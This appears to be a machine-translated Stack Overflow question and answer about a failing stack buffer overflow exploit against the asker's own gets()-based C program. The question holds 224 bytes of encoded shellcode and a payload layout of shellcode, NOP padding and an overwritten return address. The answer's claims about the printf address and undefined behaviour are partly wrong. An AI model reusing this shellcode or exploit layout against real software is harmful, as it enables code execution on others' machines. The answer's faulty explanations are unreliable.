0

我在免疫调试器中收到此错误：

读取时访问冲突 [90909090]

我想利用一个简单的 c 代码：我给它一个长输入来重写返回地址，当它跳转到新的返回地址并开始运行我的 shellcode 时，我得到了错误。

这是我的c代码：

#include <stdio.h>

int main(int argc ,char** argv)
{
    int cookie;
    char buffer[300];
    printf(" buffer : %08x\r\n",&buffer);
    gets(buffer);
    return 0;
}

这是我的shellcode：

0xbd,0xec,0xf4,0xe7,0x5a,0xdb,0xd2,0xd9,0x74,0x24,0xf4,0x58,
0x31,0xc9,0xb1,0x32,0x31,0x68,0x12,0x03,0x68,0x12,0x83,0x2c,
0xf0,0x05,0xaf,0x50,0x11,0x40,0x50,0xa8,0xe2,0x33,0xd8,0x4d,
0xd3,0x61,0xbe,0x06,0x46,0xb6,0xb4,0x4a,0x6b,0x3d,0x98,0x7e,
0xf8,0x33,0x35,0x71,0x49,0xf9,0x63,0xbc,0x4a,0xcf,0xab,0x12,
0x88,0x51,0x50,0x68,0xdd,0xb1,0x69,0xa3,0x10,0xb3,0xae,0xd9,
0xdb,0xe1,0x67,0x96,0x4e,0x16,0x03,0xea,0x52,0x17,0xc3,0x61,
0xea,0x6f,0x66,0xb5,0x9f,0xc5,0x69,0xe5,0x30,0x51,0x21,0x1d,
0x3a,0x3d,0x92,0x1c,0xef,0x5d,0xee,0x57,0x84,0x96,0x84,0x66,
0x4c,0xe7,0x65,0x59,0xb0,0xa4,0x5b,0x56,0x3d,0xb4,0x9c,0x50,
0xde,0xc3,0xd6,0xa3,0x63,0xd4,0x2c,0xde,0xbf,0x51,0xb1,0x78,
0x4b,0xc1,0x11,0x79,0x98,0x94,0xd2,0x75,0x55,0xd2,0xbd,0x99,
0x68,0x37,0xb6,0xa5,0xe1,0xb6,0x19,0x2c,0xb1,0x9c,0xbd,0x75,
0x61,0xbc,0xe4,0xd3,0xc4,0xc1,0xf7,0xbb,0xb9,0x67,0x73,0x29,
0xad,0x1e,0xde,0x27,0x30,0x92,0x64,0x0e,0x32,0xac,0x66,0x20,
0x5b,0x9d,0xed,0xaf,0x1c,0x22,0x24,0x94,0xd3,0x68,0x65,0xbc,
0x7b,0x35,0xff,0xfd,0xe1,0xc6,0xd5,0xc1,0x1f,0x45,0xdc,0xb9,
0xdb,0x55,0x95,0xbc,0xa0,0xd1,0x45,0xcc,0xb9,0xb7,0x69,0x63,
0xb9,0x9d,0x09,0xe2,0x29,0x7d,0xce

shell 的长度为 224 字节，返回地址在偏移量 312 上，所以我的输入格式如下：

shellcode+'\x90'*88+ReturnAddress
4

1 回答 1

2

printf()您的代码中的语句是错误的，&需要一个螺母：

printf(" buffer : %08x\r\n", &buffer);
                             ^   remove

接下来，你char buffer[300];有垃圾值，即使你删除&了，它也会导致一个未定义的行为。

注意：正如 David RF 注意到的那样，您使用gets()的是已弃用的。您应该使用char * fgets ( char * str, int num, FILE * stream );函数来避免缓冲区溢出攻击。

bwt，这是我第一次在从用户读取之前读取缓冲区为 printf 的程序！（为什么这样？）

于 2013-07-29T11:52:10.350 回答